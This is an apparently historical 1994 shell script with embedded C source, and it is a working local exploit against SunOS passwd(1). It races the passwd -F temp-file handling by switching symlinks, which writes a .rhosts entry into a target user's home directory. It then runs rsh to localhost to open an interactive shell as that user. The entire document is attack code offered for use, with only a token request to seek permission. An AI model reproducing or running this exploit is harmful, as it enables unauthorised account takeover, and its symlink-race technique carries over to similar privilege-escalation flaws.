|
#!/bin/sh # # Syntax: passwdscript target-user # # This exploits a flaw in SunOS passwd(1), and attempts # to become the specified 'user', by creating a .rhosts # file and using rsh. # # Written 1994 by [8LGM] # Please do not use this script without permission. # PATH=/usr/ucb:/usr/bin:/bin export PATH IFS=" " export IFS PROG="`basename $0`" # Check args if [ $# -ne 1 ]; then echo "Syntax: $PROG user target-file rsh-user" exit 1 fi TARGET_USER="$1" # Check we're on SunOS if [ "x`uname -s`" != "xSunOS" ]; then echo "Sorry, this only works on SunOS" exit 1 fi # Make the race program cat >passwdrace.c << 'EOF' #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <signal.h> #include <pwd.h> main(argc, argv) int argc; char *argv[]; { FILE *passwd_in, *passwd_out; int race_child_pid = -1; struct stat st; struct passwd *pw; char pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256], buf[1024], cmd[256], nowhere[256], nowhere2[256], dir[256]; if (argc != 2) { fprintf(stderr, "Usage: %s target-user\n", argv[0]); exit(1); } /* * Get Target User info */ if ((pw = getpwnam(argv[1])) == NULL) { fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n", argv[0], argv[1]); exit(1); } strcpy(dir, pw->pw_dir); /* * Set up names for directories/links we will access */ sprintf(pwd_link, "/tmp/passwd-link.%d", getpid()); sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid()); sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid()); sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid()); sprintf(ptmp, "%s/ptmp", dir); symlink(pwd_dir, pwd_link); /* * Build temp password file in /tmp/passwd-dir.$$/.rhosts. * The bigger our 'passwd file', the longer passwd(1) takes * to write it out, the greater chance we have of noticing * it doing so and winning the race. */ mkdir(pwd_dir, 0700); sprintf(pwd_file, "%s/.rhosts", pwd_dir); if ((passwd_out = fopen(pwd_file, "w+")) == NULL) { fprintf(stderr, "Cant open %s!\n", pwd_file); exit(1); } if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) { fprintf(stderr, "Cant open /etc/passwd\n"); exit(1); } if ((pw = getpwuid(getuid())) == NULL) { fprintf(stderr, "Who are you?\n"); exit(1); } fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name); for (;;) { fseek(passwd_in, 0L, SEEK_SET); while(fgets(buf, sizeof(buf), passwd_in)) fputs(buf, passwd_out); if (ftell(passwd_out) > 32768) break; } fclose(passwd_in); fflush(passwd_out); /* * Fork a new process. In the parent, run passwd -F. * In the child, run the race process(es). */ if ((race_child_pid = fork()) < 0) { perror("fork"); exit(1); } if (race_child_pid) { /* * Parent - run passwd -F */ sprintf(pwd_file, "%s/.rhosts", pwd_link); puts("Wait until told you see \"Enter your password now!\""); sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file); system(cmd); kill(race_child_pid, 9); exit(0); } else { /* * Child */ int fd = fileno(passwd_out); time_t last_access; /* * Remember the current 'last accessed' * time for our password file. Once this * changes it, we know passwd(1) is reading * it, and we can switch the symlink. */ if (fstat(fd, &st)) { perror("fstat"); exit(1); } last_access = st.st_atime; /* * Give passwd(1) a chance to start up. * and do its initialisations. Hopefully * by now, its asked the user for their * password. */ sleep(5); write(0, "Enter your password now!\n", sizeof("Enter your password now!\n")); /* * Link our directory to our target directory */ unlink(pwd_link); symlink(dir, pwd_link); /* * Create two links pointing to nowhere. * We use rename(2) to switch these in later. * (Using unlink(2)/symlink(2) is too slow). */ symlink(pwd_dir, nowhere); symlink(dir, nowhere2); /* * Wait until ptmp exists in our target * dir, then switch the link. */ while ((open(ptmp, O_RDONLY)==-1)); rename(nowhere, pwd_link); /* * Wait until passwd(1) has accessed our * 'password file', then switch the link. */ while (last_access == st.st_atime) fstat(fd, &st); rename(nowhere2, pwd_link); } } EOF cc -O -o passwdrace passwdrace.c # Check we now have passwdrace if [ ! -x "passwdrace" ]; then echo "$PROG: couldnt compile passwdrace.c - check it out" exit 1 fi # Start passwdrace ./passwdrace $TARGET_USER # Try to rsh rsh localhost -l $TARGET_USER sh -i exit 0